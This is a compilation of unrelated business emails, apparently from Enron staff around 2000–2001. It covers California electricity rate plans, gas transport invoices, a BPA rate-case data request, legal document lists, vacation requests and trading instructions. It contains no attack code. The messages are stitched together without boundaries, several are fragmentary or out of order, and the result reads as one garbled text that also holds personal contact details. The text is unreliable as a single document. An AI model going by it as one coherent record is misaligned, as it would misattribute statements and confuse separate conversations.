(UPDATE: Adds details throughout)

SAN FRANCISCO, May 9 (Reuters) - The California Public Utilities Commission 
on Wednesday proposed two plans to increase electricity rates in the 
power-starved state through a tiered retail pricing system.

The parallel plans, submitted by an administrative law judge and CPUC 
President Loretta Lynch, are designed to encourage energy conservation by the 
24 million customers of PG&E Corp.'s (NYSE:PCG - news) Pacific Gas & Electric 
unit and Edison International's (NYSE:EIX - news) Southern California Edison 
subsidiary.

Higher rates also would allow the state to begin to recover money from 
utility bills to pay for power it has purchased on behalf of the 
cash-strapped utilities, Lynch said.

The plans are expected to be voted on Monday by the five-member CPUC. 
Approval would implement the commission's March 27 move to raise retail power 
prices to help recover soaring costs of wholesale power.

The March decision did not specify how the rate increases would affect 
different classes of electric customers.

The plans, announced by Lynch, would raise rates 20 percent to 50 percent for 
commercial and industrial customers, and 41 percent to 48 percent for all 
electricity used by residential customers in excess of a percentage of their 
existing base usage.

Lynch told a news conference, however, that up to half of California's 
residential customers who meet certain conservation targets would not face 
higher rates.

Electricity rate hikes for agricultural customers served by PG&E and SoCal 
Edison would be capped at 23 percent to 30 percent, she added.

Paul Clanon, a CPUC energy director, said the rate plans would raise $5 
billion this year from utility customers, with some of the money channeled to 
the California Department of Water Resources, which is buying electricity on 
behalf of the state.

The CPUC has not decided, however, exactly how much of monthly utility bills 
would flow to the agency.

California's power purchases this year have drained the state treasury of 
some $6 billion.

The state Senate on Wednesday approved a bill to issue $13.4 billion in bonds 
to pay for emergency power and sent the measure to Gov. Gray Davis, who is 
expected to sign it.

The Senate's approval came two days after the state Assembly passed the power 
bond measure as a piece of regular -- rather than emergency session -- 
legislation, meaning California will have to wait at least 90 days to issue 
the debt.

The bond issue aims to repay the state for the power purchases, with the debt 
to be paid off over 15 years through a portion of the monthly utility bills. 

Do you guys agree with the rate?
---------------------- Forwarded by Lauri A Allen/HOU/ECT on 02/24/2000 02:51 
   Kellie Bilski                02/24/2000 02:19 PM

To: Lauri A Allen/HOU/ECT@ECT
cc:  
Subject: Re: Midcon Invoices  

Midcon is billing us $.05 from Katy to Cogen.

02/24/2000 01:57 PM
To: Kellie Bilski/HOU/ECT@ECT
cc: Elsa Villarreal/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT 
Subject: Midcon Invoices

Kellie-

I researched the statements you sent me and found deal ticket #109925 in 
Sitara which shows HPLC transporting on Midcon from Live Oak to Hardy Street 
for $.04/mm for the months of August and September.

The statement for November covers gas moving from Katy tailgate to Cogen 
Lyondell and is covered by Sitara deal ticket #133257.  The deal ticket shows 
a zero rate, however.  Elsa/Daren- do either of you remember this deal?  It 
was on November 30th for 5000mm.  Kellie- what is Midcon charging for this 
haul?

Thanks.

Our 2001 Investment Guide...Bush: Conciliator In Chief?...More Pink Slips

HIGHLIGHTS FROM THE DECEMBER 25, 2000/JANUARY 1, 2001, ISSUE OF BUSINESS WEEK*

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12/14 -- A Battle Royal for Wireless Real Estate
At the FCC's spectrum auction, heavy telecom hitters are set to pay a big 
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http://www.businessweek.com/bwdaily/dnflash/dec2000/nf20001214_505.htm

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Technology has so changed the way things work that a sharp shift in growth 
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Some are hidden treasures, others are merely interesting. Even the best, 
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12/14 -- Is Yahoo! Finally "Near Bottom"?
Though crashing ad rates have pushed the stock ever downward lately, some 
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Requester: Chris Lambie
Request Type: Vacation
Request Submitted: 1/29/2002 8:38:42 AM

Start Date: 1/28/2002 8:00:00 AM
End Date: 1/29/2002 8:00:00 AM
Length Requested: 8 Hours
Days Submitted: 1 Day(s)
Comments: 

Please click on either the Approve or Reject button at the top of this message.  If you don't see them, fully open the message.

Are you interested in building businesses that create value beyond Wall
Street?

Do you think it's possible to make a ton of money while making the world a
better place?

Do you believe in the future there will be no "socially responsible"
businesses...
because they will ALL be socially responsible?

then
WE WANT YOU!!!
to organize the 2001
Haas Social Venture Business Plan Competition

Last year's highlights:
- built the only nationwide biz plan competition for dual bottom line
"social ventures"
- attracted 66 teams from 23 top b-schools (Harvard, Stanford, Wharton,
UCLA, Haas...)
- raised $50,000 in 5 months and gave $20,000 in prize money
- received national media coverage (Wall Street Journal, National Public
Radio and many more)

...AND THE FUN HAS JUST BEGUN!!!!
Sign up at club night or email us!

Darrell,

Thanks a lot. I really appreciate it. The text is below our usual
standards but we are completely swamped with work here.

Vince

Darrell Duffie <duffie@Stanford.EDU> on 08/15/2000 04:54:23 PM
cc:  

I'll have a look!

I haven't much time, but can certainly
get you a quick reaction, at least!

> To: duffie@Stanford.EDU
> Date: Thu, 10 Aug 2000 14:04:47 -0500
> Subject: Full version
> X-UIDL: 9fef7462afa5d4ee6c04c9c02df71b25
>
>
>
> Darrell,
>
> Grant just alerted me that I sent you only  part of the text.
>
> Here is the full chapter with an aged version of Gran't part.
> What I sent you represents an update of his contribution.
>
> Sorry for that.
>
> Vince
>
>  (See attached file: vol0720.DOC)

Are we providing testimony to the contrary?

From: Jeff Dasovich@ENRON on 02/09/2001 10:50 AM
Sent by: Jeff Dasovich@ENRON
To: Vicki Sharp/HOU/EES@EES, Mike D Smith/HOU/EES@EES, Richard 
Shapiro/NA/Enron@Enron, James D Steffes/NA/Enron@Enron, skean@enron.com, Paul 
Kaufman/PDX/ECT@ECT, Susan J Mara/NA/Enron@ENRON, Sandra 
McCubbin/NA/Enron@Enron
cc:  
Subject: TURN Testimony -- Rate Stabilization Proceeding--Position on End of 
Rate Freeze

FYI.  Note that TURN sez that the Commission should use the enactment date of 
AB1X as the date that the rate freeze ended.
----- Forwarded by Jeff Dasovich/NA/Enron on 02/09/2001 10:52 AM -----

	02/09/2001 10:45 AM
		 
		 To: "'Susan.J.Mara@enron.com'" <Susan.J.Mara@enron.com>, 
"'Jeff.Dasovich@enron.com'" <Jeff.Dasovich@enron.com>, "'tjohnso8@enron.com'" 
<tjohnso8@enron.com>, "'sstoness@enron.com'" <sstoness@enron.com>, 
"'Harry.Kingerski@enron.com'" <Harry.Kingerski@enron.com>, "'Gordon Savage 
(E-mail)'" <gsavage@enron.com>
		 cc: 
		 Subject: TURN Testimony -- Rate Stabilization Proceeding

Yesterday (the 8th) was the day for parties to file testimony in the Rate
Stabilization Proceeding.  I have done a quick review of TURN's testimony,
and they did not submit tables which go back and calculate the impact of
adopting its proposed accounting changes on transition cost recovery and the
TRA undercollection balance.  In its testimony, TURN stated that it tried to
do such a calculation, but that the numerous adjustments which the UDCs had
made to their regulatory accounts since last summer made the task alot more
difficult than anticipated.  TURN estimates, however that PG&E's TCBA
balance as of 12/31/01 would be approximately $5.1 billion, while SCE's
would be $2.9 billion.  TURN states that they have requested through a data
request that the UDCs do the tables for them, but that if they do not
comply, that the commission should direct the UDCs to provide the tables.

Also, TURN has taken the position that the enactment of AB X 1 has
effectively ended the rate freeze and the date of the enactment of the
statute  is the one the Commission should pick for purposes of declaring the
rate freeze over.

I have not gone through other parties testimony yet, but wanted to let you
know what TURN has done (or not done).

Jeanne Bennett          

Please forward to anyone else who might be interested.
---------------------- Forwarded by Rebecca W Cantrell/HOU/ECT on 05/30/2001 
06:11 PM ---------------------------

"Tracey Bradley" <tbradley@bracepatt.com> on 05/30/2001 05:59:43 PM
To: <jlimone@aeglobalmarkets.com>, "Charles Shoneman" 
<cshoneman@bracepatt.com>, "Randall Rich" <rrich@bracepatt.com>, 
<agold@coral-energy.com>, <rreilley@coral-energy.com>, 
<Rebecca.W.Cantrell@enron.com>, <pat.cradock@huskyenergy.ca>
cc:  
Subject: PG&E opens bids to add 1.2 bcf of natgas in Calif

FYI

Wednesday May 30, 3:55 pm Eastern Time
PG&E opens bids to add 1.2 bcf of natgas in Calif
(UPDATE: adds background in paragraphs 6-11)

SAN FRANCISCO, May 30 (Reuters) - Pacific Gas & Electric Co., in an effort to 
determine interest in expanding its California natural gas pipeline system, 
said it was accepting bids for up to 1.2 billion cubic feet a day (bcfd) of 
gas transport capacity.

The move by the company, a subsidiary of San Francisco-based PG&E Corp. 
(NYSE:PCG - news), responds to California's growing demand for natural gas to 
run new power plants.

Gas suppliers and big industrial customers participating in the bidding 
round, called an open season, have until July 31 to submit offers stating how 
much pipeline capacity they are willing to purchase and the price they are 
willing to pay.

Based on the results of this round, PG&E will decide whether to proceed with 
the planned 1.2 bcf expansion -- enough to run seven 1,000 megawatt gas-fired 
power plants -- or modify it to accommodate an even bigger volume of gas.

As it stands, PG&E's open season is offering firm capacity on its its 
Redwood, Baja, and Silverado pipelines.

These lines transport gas from Malin, Oregon; Topock, Arizona, and California 
gas production to the company's local transmission system and other pipelines.

PG&E's current intrastate pipeline system can transport more than 3 bcf of 
gas a day throughout Northern and Central California.

Over the past year, utilization rates on many California pipelines have 
jumped from 75 percent to near full capacity, limiting deliveries into the 
state needed to drive gas-fired power plants.

Demand for gas, which already accounts for more than a third of California's 
power generation, is expected to jump.

Since April 1999, California has approved 14 major gas-fired projects with a 
combined generation capacity of more than 9,500 megawatts. Ten gas-fired 
plants, with a total generation capacity of more than 6,000 megawatts, are 
already under construction.

Over the past three months plans to build or expand interstate lines carrying 
gas to California have been announced by Sempra Energy (NYSE:SRE - news) unit 
Southern California Gas Co., Enron (NYSE:ENE - news) unit Transwestern, 
Williams Cos' (NYSE:WMB - news) unit Kern River Transmission, El Paso Corp. 
(NYSE:EPG - news) units El Paso Natural Gas Co. and Mohave Pipeline Co., 
Questar Corp. (NYSE:STR - news), Calpine Corp. (NYSE:CPN - news) and Kinder 
Morgan (NYSE:KMP - news).

The attached schedule is for Wednesday, Jan 16.  According to my understanding of your message last week, as of today, the associated text files are no longer being posted to Sparky from here.  Please advise me immediately if this is not the case.  Thanks.
MRF

Manager
Load Forecasting Desk

Interesting that in page 8, regulatory is not present. RAC is acknowledging 
this limitation and hence the invitation to work more closely with them. 
Thanks,

FYI -- Details for Naveen's demo of RAC's processes/tools related to stress testing:

Tuesday, 8/7/01, 1-2pm, EB 2854

Please attend if you're available. Thanks.

From: 	Romero, Araceli   On Behalf Of Andrews, Naveen
Sent:	Thursday, August 02, 2001 5:19 PM
To:	Andrews, Naveen; Wilson, Shona; McLaughlin Jr., Errol; Victorio, Tom; Hanson, Kristen J.; Richardson, Barry
Subject:	Stress Testing Component VaR Demonstration 
When:	Tuesday, August 07, 2001 1:00 PM-2:00 PM (GMT-06:00) Central Time (US & Canada).
Where:	EB-2854

FYI

From: 	"Smith, Alison" <asmith@velaw.com>@ENRON [mailto:IMCEANOTES-+22Smith+2C+20Alison+22+20+3Casmith+40velaw+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Thursday, June 07, 2001 5:03 PM
To:	Derrick Jr., James; Sharp, Vicki; Tomlin, Dalton (Baylor)
Subject:	FW: The Reverend Hugh McIntosh

I thought that you might like to know. Alison
From: Smith, Alison
Sent: Thursday, June 07, 2001 3:58 PM
To: All Partners - Domestic; All Partners - International
Cc: McIntosh, Hugh M.
Subject: The Reverend Hugh McIntosh

Our friend and former partner, Hugh McIntosh, completed his degree at the
Harvard Divinity School and was ordained to the ministry on June 3, 2001 at
the North-Prospect United Church of Christ in Cambridge, Massachusetts. In
the program for the service, he expressed great appreciation to his partners
and friends at Vinson & Elkins for "their wisdom, professionalism and
support which built the foundation for the future."

Hugh and Sara will soon move to Hawaii, where Hugh will be a chaplain at the
Punahou School.

I am attaching a picture of Hugh following the service, and hope that you
enjoy it.
 <<The Reverend Hugh McIntosh resized again.jpg>>

 - The Reverend Hugh McIntosh resized again.jpg 

Yes.  Azurix caused us a big headache, because the contract they did in 2000 was weak, but Mike stuck it out, did what we asked him to do to get it done in the end.

Professional
Integrity
Relationship-Oriented
Understands big deal processes - legal, relationship, negotiations, politics, etc.
Would need some hard-core junior commercial people around him - to id the value/risk/arbs in deals

Sent:	Tuesday, July 24, 2001 3:35 PM

Would you hire him (to run Mexico) if you were me?

Sent:	Tuesday, July 24, 2001 5:19 PM

Yes.  Mike was the senior Azurix guy on the deal.  He was on the conf calls a lot.  He spent a lot of time in CA throughout that deal.  

Sent:	Tuesday, July 24, 2001 3:10 PM
Subject:	

Cast your mind back................................

Did you  work with Mike Wood from Azurix on Pastoria?

Nicole, 
The correct price is 4.50.  I changed the deal ticket.

D

	From:  Nicole Vo @ ENRON                           07/27/2000 09:00 AM
	
cc:  
Subject: 6/00 Production for Lower Colorado River Authority, Sitara #283939

Daren,

Mary Gregg from LCRA said that Sitara #283939 should have been for 
$4.50/MMBtu.  Currently in Deal Manager-Sitara, it is at $2.50 and that is 
the price that I billed them at.  Please verify the price and let me know 
what you find out.

If you have any question, please, call me.

Thank you in advance for your help.

Nicole
3-9544

Is there any way that we can move this to 3? I have a meeting from 1:30-2:30. Or just move it back 30 min.

From: 	Goode, Diane  
Sent:	Monday, October 15, 2001 6:35 PM
Subject:	Enron On Line Demo

Tom Engel will conduct the demonstration for Bill LaFuze and Peter Mims on Wednesday at 2:15 p.m..  I will meet Bill and Peter at 2 p.m. and escort them to the new building.  Tom Engel will do sample trades and answer any questions they have.  Do you want to participate? 

Thanks.

Attached please find a PowerPoint file for the April 24, 2001 BAWG
presentation for the BIC.

Wes Yeomans

     (See attached file: bawg0401.ppt)

 - bawg0401.ppt

thanks!!  I have them

I know that you are not broke.  Its probably one of the reasons your stock
is taking a dive.  ENE goes down, Lucci estate goes up.  I think Andersen
hired a bunch of Enron-Houston people lately.

Privileged/Confidential Information may be contained in this message.  If
you are not the addressee indicated in this message (or responsible for
delivery of the message to such person), you may not copy or deliver this
message to anyone. In such case, you should destroy this message and kindly
notify the sender by reply email. Please advise immediately if you or your
employer do not consent to Internet email for messages of this kind.
Opinions, conclusions and other information in this message that do not
relate to the official business of my firm shall be understood as neither
given nor endorsed by it.

request_number:  DS-PS:001-003
firstname:  Steve
lastname:  Marshall
e-mail:  marss@perkins.com
exhibit_wp-02-e-:  JCG01 and 02
page_numbers:
request_text:  DS-PS:001 Please disclose and/or produce copies of any and all 
communications, from October 16, 2000 to the present, between any BPA 
representative and any representative of any other party, concerning any of 
the following subjects:

a. The general structure of the Cost Recovery Adjustment Clauses (CRACs) 
described in the testimony of the Joint Customers;

b. Any differences between the form of the CRACs described in the testimony 
of the Joint Customers and the CRACs contained in BPA's Amended Proposal, or 
those contained in BPA's Supplemental Proposal;

c. The detailed mechanics of implementing the CRACs described in the 
testimony of the Joint Customers;

d. Revenue effects of the CRACs described in the testimony of the Joint 
Customers, any modifications; or

e. Any aspect of the Partial Stipulation and Settlement Agreement and the 
Parties' Proposal attached thereto.

For purposes of this Request, "disclose and/or produce" has the meanings 
described below.  With respect to oral communications, "disclose and/or 
produce" means to describe the time, date, approximate duration, and 
substantive content of the communication; the identity and organizational 
affiliation of the communicating individuals; whether the communication 
occurred in person or by telephone; the location of the communication if in 
person; the identity of any witnesses to the communications, including all 
individuals in the room if the communication occurred by speakerphone; and 
whether the communication was made in the presence of or after coordination 
with BPA counsel (if so, identify such counsel).  For purposes of this 
Request, you need not "disclose and/or produce" oral communications that 
occurred during meetings noticed in compliance with Rate Case Rule 1010.7(d).

 With respect to written communications, the Request includes communications 
in any recorded form, whether on paper, electronic (including, without 
limitation, e-mails), or whatever form.  For such communications, "disclose 
and/or produce" means to provide copies of all non-identical versions of any 
written communications and to describe with particularity the location where 
such communications were found and/or stored, including the identity of the 
individual with possession or control of the written communications; to 
describe with particularity the circumstances under which they were generated 
or referred to; and to fully "disclose and/or produce" any oral 
communications made in connection with the written communications consistent 
with the preceding paragraph.  For purposes of this Request, you need not 
produce papers served on all parties to the rate case and made part of the 
official file in the rate case.

DS-PS:002:  Please disclose and/or produce any and all communications from 
October 16, 2000 to the present, between the BPA representatives listed below 
and any representative of any other party concerning BPA's rates to be in 
effect for Fiscal Years 2002-2006, the interactions of such rates and 
customer contracts, or procedural aspects of these rate proceedings.

Bob Proctor
Tim McCoy
Byrne Lovell
Byron Keep
Valerie Lefler
Jon Wright
Peter Berger

DS-PS:003:  Please disclose and/or produce any and all communications from 
October 16, 2001 to the present, between any of the party representatives 
listed below and any representative of BPA concerning rates to be in effect 
for BPA's Fiscal Years 2002-2006, the interactions of such rates and customer 
contracts, or procedural aspects of rate these proceedings.

Terry Mundorf (WPAG)
Lon Peters (PGP)
Linc Wolverton (ICNU)
Scott Brattebo (PacifiCorp)
Kevin Clark (Seattle City Light)
David Hoff (PSE)
Geoff Carr (Northwest Requirements Utilities)
Dennis Parrish (Market Access Coalition Group)
Pam Jacklin (PacifiCorp)
Peter Richardson (PPC)
Kyle Sciuchetti (PPC)
Ray Kindley (PGP)
Jay Waldron (PGP)
Doug Brawley (PNGC)
Eric Johnson (PNGC)
Darcy Norville (PGE)
Lynn Williams (PGE)
Steve Weiss (Northwest Energy Coalition)
Mark Hellman (OPUC)

 For purposes of this Request, "disclose and/or produce" has the meanings 

With respect to written communications, the Request includes communications 

response_text:  DS-PS:001:  PSE refers to and incorporates the response from 
PacifiCorp, including the following objection to the data request, as follows:

"PacifiCorp objects to this Data Request on the grounds that it (1) seeks 
information that is not relevant and (2) seeks information that is unduly 
burdensome to produce.  (Rules of Procedure Governing Rate Hearings, Section 
1010.8(b).)  PacifiCorp further objects to this Data Request on the grounds 
that it is in improper form, as it does not cite to specific testimony or 
indicate the specific use to which to information sought will be put.  
(Special Rules of Practice, WP-02-O-01.)  Without waiving the foregoing 
objections, we respond as follows in the below attached exhibits:

For oral communications, see Exhibit 1.

For written communications, see Exhibit 2."

DS-PS:002:  PSE refers to and incorporates
the response from PacifiCorp, including the following objection to the data 
request, as follows:

DS-PS:003:
PSE refers to and incorporates the response from PacifiCorp, including the 
following objection to the data request, as follows:

The following information is from the web server:
1.  Logon: IUSR_GRANITE
2.  Remote Host:  perkinscoie.com
3.  Remote IP Address:  207.109.65.66
4.  Form URL:  
https://secure.bpa.gov/power/secure/psp/ratecase/discovery/wp_02_response.html
5.  Browser Client:  Mozilla/4.0 (compatible; MSIE 5.01; Windows NT)

Generally speaking we have only documented that kind of concern when there 
were separate legal entities involved (like getting a comfort letter or 
guaranty from EI when ECT had to do the swap for one of their deals).  I 
think we can get away with pointing out the issue to both commercial sides.

	Mary Cook
	12/14/2000 03:30 PM
		 
		 cc: 
		 Subject: VPP Vehicle

The VPP swap vehicle is being structured such that if a major adverse 
reservoir event occurs (no gas!) and as a result the Partnership (owned by 
Trust/banks) cannot fund the swap payments, then as swap default occurs and 
if termination payment is owed to ENA, the termination payment will in 
essence be subordinated to the bank loan repayment.  This is clearly a free 
walk on ENA on the swap (ENA in essence wears reservoir risk on the swap).  
If this is the commercial deal, so be it.  However, I am concerned that the 
"$ fallout" in such event be charged internally to the finance originators 
and not the trading arm, but I do not know who to talk to about this.  Any 
ideas?  Or should I assume it resolves itself internally as and when it may 
occur?  
Mary

Mary Cook

Attached please find the documents relating to the Swapco structure.  We
are still working on the employee assignments pending our review of form
employment agreements tomorrow.

Regards,

Trish Lindloff
Weil, Gotshal & Manges LLP
(214) 746-8116 (direct)
(214) 746-7777 (fax)
trish.lindloff@weil.com

(Resolutions of ENA ($250 mil capital contribution)) (See attached file:
5z_r01!.DOC)
(Resolutions of RMT ($250 mil capital contribution)) (See attached file:
5z_s01!.DOC)
(Resolutions of ERMT LLC ($250 mil capital contribution)) (See attached
file: 5z_v01!.DOC)
(Proposed Resolutions for Enron Corp. ($250 mil contribution)) (See
attached file: 5z_x01!.DOC)
(Organizational Consent of ERMT LLC) (See attached file: 5zdl02!.DOC)
(consent to use name) (See attached file: 5z_p01!.DOC)
(Limited Liability Company Agreement of ERMT LLC) (See attached file:
5zcb02!.DOC)

(Certificate of Amendment to ESVL Certificate of Incorporation) (See
attached file: 5z__01!.DOC)
(Bylaws of ERMT Corp.) (See attached file: 5z_t01!.DOC)
(unanimous written consent - ERMTCorp.) (See attached file: 54@502!.DOC)
(Software License Agreement) (See attached file: 5zp101!.DOC)
(Administrative Services Agreement) (See attached file: 5z6%03!.DOC)
(Administrative Services Agreement) (See attached file: 5z6%RTF.DOC)
 - 5z_r01!.DOC 
 - 5z_s01!.DOC 
 - 5z_v01!.DOC 
 - 5z_x01!.DOC 
 - 5zdl02!.DOC 
 - 5z_p01!.DOC 
 - 5zcb02!.DOC 
 - 5z__01!.DOC 
 - 5z_t01!.DOC 
 - 54@502!.DOC 
 - 5zp101!.DOC 
 - 5z6%03!.DOC 
 - 5z6%RTF.DOC 

Attached is PIRA's latest "Gas Basis Report."

If you have any questions regarding the report's content, please contact:
Greg Shuttlesworth (email: greg@pira.com), Tom Howard (email:
tazh@pira.com), Richard Redash (email: Rich@pira.com), Nobu Tarui (email:
nobuo@pira.com) or Jane Hsu (email: jane@pira.com), at (212) 686-6808.

NOTE: Circulation of the "Gas Basis Report" outside a Client's licensed
distribution area is strictly prohibited. Clients that are unsure of their
licensed distribution or require an extension of their current license
should contact their PIRA sales representative, or email to sales@pira.com.

 - califbasis0501.pdf 

Please get to the bottom of this and report back to me. Thanks.
From: Stephens, Becky 
Sent: Friday, August 24, 2001 10:51 AM
Cc: Soldano, Louis; LaGesse, Denise; Digilormo, Susan; White, Bonnie; Davis, Britt
Subject: Houston Pipe Line Company v. Kinney Fitzgerald charges - Enron Litigation Unit

Richard, I have had a request from Denise LaGesse (at Lou's request) to remove the Enron Litigation Unit charges on this matter from their operating company (ETS) and charge them to ENA instead.  We have billed ETS 5 times since January, the total amount of the billings being $4,678.47.  If you are in agreement with this transfer of charges, please provide the company # and cost center # that you would like me to have them transferred to.  I can forward details of these billings to you by fax or mail.  Let me know your preference.  Thank you.
 
Denise, I will need your company # and cost center # as well.
 
Thank you.
Support Services Coordinator
Enron Litigation Unit, EB4809
becky.stephens@enron.com <mailto:becky.stephens@enron.com>
713.853.5025
713.853.6576 fax
 
Tanya,

Vince

11/20/2000 02:52 PM
Subject: Re: Holidays and Vacations  

Shirley,
I am planning to take the following days off in December:

12/21, 12/22, 12/27, 12/28.

I'd like to take 12/21 as Discretionary day, and 3 other days as vacation 
days.

Tanya

---------------------- Forwarded by Mary Hain/HOU/ECT on 01/26/2001 08:43 AM 
From: James D Steffes@ENRON on 01/26/2001 07:15 AM CST
To: Richard Shapiro/NA/Enron@Enron, Mary Hain/HOU/ECT@ECT
cc:  
Subject: Re: Government Affairs-The Americas: Department Meeting Dates

Rick --

I agree with Mary that it may make sense if this guy is able to be on at our 
next meeting (if space/time permits).  If it's ok, maybe Ginger can work with 
Mary to arrange.

Jim

----- Forwarded by James D Steffes/NA/Enron on 01/26/2001 07:14 AM -----

	01/25/2001 01:05 PM
		
		 To: James D Steffes/NA/Enron@Enron
		 cc: 
		 Subject: Re: Government Affairs-The Americas: Department Meeting Dates

This is not public information yet but, assuming Tim gives his final okay, a 
guy will be joining the trading floor to develop a renewable market including 
a portfolio, trading, an index, auction, an Enron Online product, etc.  He 
wants to formulate a well developed regulatory policy approach and has agreed 
to draft up some bullet points for our use and has had preliminary meetings 
with various groups in Houston including Jeff Keeler.  He also wants to 
enlist the assistance of government affairs.  I suggested he do a 
presentation at our next government affairs meeting.  Are we still having 
people do presentations at our meetings?  Could we fit him in?

Ginger Dernehl@ENRON
01/25/2001 10:50 AM
To: assad@elektro.com.br, Alan Comnes/PDX/ECT@ECT, Alberto 
Levy/SA/Enron@Enron, Aleck Dadson/TOR/ECT@ECT, Allison 
Navin/Corp/Enron@ENRON, Amy Fabian/Corp/Enron@ENRON, Barbara A 
Hueter/NA/Enron@Enron, Bernadette Hawkins/Corp/Enron@ENRON, Bill 
Moore/NA/Enron@Enron, cristinah@elektro.com.br, Carlos Gustavo 
Azevedo/SA/Enron@Enron, Carmen Perez/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Carolyn Cooney/Corp/Enron@ENRON, Charles Yeung/HOU/ECT@ECT, Chauncey 
Hood/NA/Enron@ENRON, Chris Long/Corp/Enron@ENRON, Christi L 
Nicolay/HOU/ECT@ECT, Cynthia Sandherr/Corp/Enron@ENRON, Damon 
Harvey/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Dan Staines/HOU/ECT@ECT, Daniel 
Allegretti/NA/Enron@Enron, Dave Mangskau/Corp/Enron@ENRON, Donald 
Lassere/NA/Enron@Enron, Donna Fulton/Corp/Enron@ENRON, Eidy 
Catala/TRANSREDES@TRANSREDES, Elizabeth Linnell/NA/Enron@Enron, Eric 
Benson/NA/Enron@ENRON, Frank Rishe/NA/Enron@Enron, Geriann 
Warner/NA/Enron@Enron, Ginger Dernehl/NA/Enron@Enron, Gisele S 
Braz/SA/Enron@Enron, Gloria Ogenyi/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Guillermo Canovas/SA/Enron@Enron, Harry Kingerski/NA/Enron@Enron, Howard 
Fromer/NA/Enron@Enron, jpr@ceibo.entelnet.bo, James D Steffes/NA/Enron@Enron, 
Janine Migden/NA/Enron@Enron, Javier Pantoja/TRANSREDES@TRANSREDES, Jean R 
Dressler/NA/Enron@Enron, Jean Ryall/NA/Enron@ENRON, Jeff 
Brown/NA/Enron@Enron, Jeff Dasovich/NA/Enron@Enron, Jeffrey 
Keeler/Corp/Enron@ENRON, Joao Paixao/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Joe 
Allen/NA/Enron@Enron, Joe Connor/NA/Enron@Enron, Joe 
Hartsoe/Corp/Enron@ENRON, Joe Hillings/Corp/Enron@ENRON, Jose 
Bestard/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Joseph Alamo/NA/Enron@Enron, 
Kathleen Sullivan/NA/Enron@ENRON, Kerry Stroup/NA/Enron@Enron, Kikumi 
Kishigami/NA/Enron@Enron, Kirsten Bellas/NA/Enron@Enron, Lara 
Leibman/NA/Enron@Enron, Laurie Knight/NA/Enron@Enron, Leslie 
Lawner/NA/Enron@Enron, Linda J Noske/HOU/ECT@ECT, Linda 
Robertson/NA/Enron@ENRON, Lindsay Meade/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Lisa Yoho/NA/Enron@Enron, Lora Sullivan/Corp/Enron@ENRON, Luiz 
Maurer/SA/Enron@Enron, Lysa Akin/PDX/ECT@ECT, Marchris 
Robinson/NA/Enron@Enron, Marcia A Linton/NA/Enron@Enron, Marcie 
Milner/Corp/Enron@ENRON, Mary Hain/HOU/ECT@ECT, Maureen 
McVicker/NA/Enron@Enron, Melinda Pharms/HOU/ECT@ECT, Michelle 
Belzak/TOR/ECT@ECT, Mike Roan/ENRON@enronXgate, Mona L 
Petrochko/NA/Enron@Enron, Nancy Hetrick/NA/Enron@Enron, Patrick 
Keene/NA/Enron@Enron, Paul Kaufman/PDX/ECT@ECT, Ray 
Alvarez/TRANSREDES@TRANSREDES, Rebecca W Cantrell/HOU/ECT@ECT, Ricardo 
Charvel/NA/Enron@Enron, Richard Ingersoll/HOU/ECT@ECT, Richard 
Shapiro/NA/Enron@Enron, Robert Frank/NA/Enron@Enron, Robert 
Hemstock/CAL/ECT@ECT, Robert Neustaedter/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Robin Kittel/NA/Enron@Enron, Ron McNamara/NA/Enron@Enron, Roy 
Boston/HOU/EES@EES, Rubena Buerger/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Sandra McCubbin/NA/Enron@Enron, Sarah Novosel/Corp/Enron@ENRON, Scott 
Bolton/Enron Communications@Enron Communications, Sergio 
Assad/SA/Enron@Enron, Stella Chan/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Stephen D Burns/Corp/Enron@ENRON, Steve Montovano/NA/Enron@Enron, Steve 
Walton/HOU/ECT@ECT, Steven J Kean/NA/Enron@Enron, Sue Nord/NA/Enron@Enron, 
Susan J Mara/NA/Enron@ENRON, Susan M Landwehr/NA/Enron@Enron, Terri 
Miller/NA/Enron@Enron, Thane Twiggs/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Tom 
Briggs/NA/Enron@Enron, Tom Chapman/HOU/ECT@ECT, Tom Delaney/Corp/Enron@ENRON, 
Tom Hoatson/NA/Enron@Enron, Tracy Cooper/Enron Communications@Enron 
Communications, Valeria Lima/SA/Enron@Enron, Vinio Floris/Corp/Enron@Enron, 
Xi Xi/Enron Communications@Enron Communications
cc: Jeffrey Keeler/Corp/Enron@ENRON, Stacey Bolton/NA/Enron@Enron, Mary 
Schoen/NA/Enron@Enron, Miyung Buster/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Elizabeth Linnell/NA/Enron@Enron, Lynnette Barnes/NA/Enron@Enron, Stephanie 
McMurray/NA/Enron@Enron, Linda L Lawrence/NA/Enron@Enron, Earlene 
O'Connell/NA/Enron@Enron, Margo Reyna/NA/Enron@Enron, Gus 
Perez/Corp/Enron@Enron, Angela Wilson/NA/Enron@Enron, Sharonda 
Stephens/Corp/Enron@ENRON, Eric Benson/NA/Enron@ENRON, John 
Neslage/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Gia 
Maisashvili/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, James D 
Steffes/NA/Enron@Enron, Marcia A Linton/NA/Enron@Enron, Margaret 
Carson/Corp/Enron@ENRON, Joan Stransky/Corp/Enron@ENRON 
Subject: Government Affairs-The Americas: Department Meeting Dates

My apologies in getting this information to everyone so late, but some of the 
dates are still a work in progress.  Please see below:

Government Affairs - The Americas
Department Meeting Dates for Year 2001

Date:   City/State   Location:
March 9   Houston, TX   The Woodlands Conf. Center
June?????
September 6  Houston, TX   The Woodlands Conf. Center
December 7  Houston, TX   Doubletree Hotel

FYI - The December 7 date could change.  I am trying to plan this meeting 
around the company party again.

Thanks and feel free to call me if  you have any questions.

gngr

We parked some length with EL Paso for this morning (04/11) at PV.  We need 
to sell the energy at PV.  The length is in Enpower already.  Please make the 
sale at PV under ST-SW.  Aepco, MWD, TNP and LDWP should be buying.  The 
price for deal #577883 goes in the model...not the price you sold it at.

